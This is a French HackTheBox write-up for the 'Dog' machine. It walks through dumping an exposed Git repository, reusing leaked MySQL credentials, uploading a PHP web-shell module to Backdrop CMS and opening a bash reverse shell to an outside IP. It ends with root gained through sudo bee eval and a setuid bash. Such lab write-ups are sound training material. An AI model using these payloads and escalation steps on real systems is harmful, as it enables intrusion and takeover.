← Retour au carnet HTB · Linux · Easy · n°06

Dog

Backdrop CMS exposant un dépôt Git public. Credentials MySQL réutilisés pour l'accès admin, RCE via module PHP, escalade par sudo bee.

Date
27 oct. 2025
IP
10.10.11.58
OS
Ubuntu 20.04
Plateforme
HackTheBox
BackdropCMSGit dumpCredentialLeakRCEsudo beeLinux
Easy
↳ un .git exposé = toute la config en clair.
i.

Reconnaissance : dépôt Git exposé.

Nmap révèle les ports 22 et 80. Le site tourne sous Backdrop CMS 1.27.1, et le répertoire .git/ est accessible publiquement.

Le répertoire .git/ accessible signifie qu'on peut reconstituer l'intégralité du code source avec git-dumper.

python3 -m venv env && source env/bin/activate
pip install git-dumper
git-dumper http://dog.htb/ dump
cd dump && git restore .
settings.php contient : mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop

MySQL n'est pas exposé directement, mais ces credentials peuvent être réutilisés ailleurs.

ii.

Accès CMS & RCE.

Énumération des utilisateurs Backdrop via fuzzing des aliases (/?q=accounts/FUZZ, réponse 403 = compte existant). Utilisateurs trouvés : john, tiffany.

Connexion avec tiffany / BackDropJ2024DS2024, réutilisation du mot de passe MySQL. Accès administrateur obtenu.

Backdrop CMS 1.27.1 est vulnérable à une RCE authentifiée (Exploit-DB 51949). Le filtre PHP bloque <?php mais pas <?PHP.

# Créer le module malveillant
echo '<?php system($_GET["cmd"]); ?>' > shell/shell.php
echo -e "name = Shell
type = module
core = 1.x" > shell/shell.info
tar -czvf shell.tar.gz shell

# Upload via /admin/modules/install → accès
# http://dog.htb/modules/shell/shell.php?cmd=id
Connexion inverse : bash -c "bash -i >& /dev/tcp/10.10.14.8/1337 0>&1" → shell www-data
iii.

Pivot & sudo bee.

Le fichier /etc/passwd révèle l'utilisateur johncusack. SSH avec le mot de passe Backdrop fonctionne (réutilisation).

sshpass -p 'BackDropJ2024DS2024' ssh johncusack@dog.htb
sudo -l
# → (ALL : ALL) /usr/local/bin/bee

bee est le CLI de BackdropCMS, il exécute du PHP arbitraire via l'argument eval.

sudo /usr/local/bin/bee --root=/var/www/html eval "echo shell_exec('whoami');"
# → root
sudo bee --root=/var/www/html eval "echo shell_exec('cp /bin/bash /tmp/bash && chmod u+s /tmp/bash');"
/tmp/bash -p  # root shell
root@dog obtenu. Flags : /home/johncusack/user.txt · /root/root.txt

Chaîne d'attaque.

1
Reconnaissance
Nmap → Backdrop CMS + .git/ exposé
2
Git dump
git-dumper → settings.php → creds MySQL
3
Accès admin
Réutilisation password → login tiffany
4
RCE
Module PHP malveillant → shell www-data
5
Pivot SSH
johncusack (password réutilisé)
6
Escalade
sudo bee → PHP eval → root
Note terrain

Ce writeup illustre la cascade classique : un secret dans un dépôt Git expose un mot de passe, qui est réutilisé partout, et une configuration sudo trop large (bee permet l'exécution PHP arbitraire) transforme un accès utilisateur en root immédiat.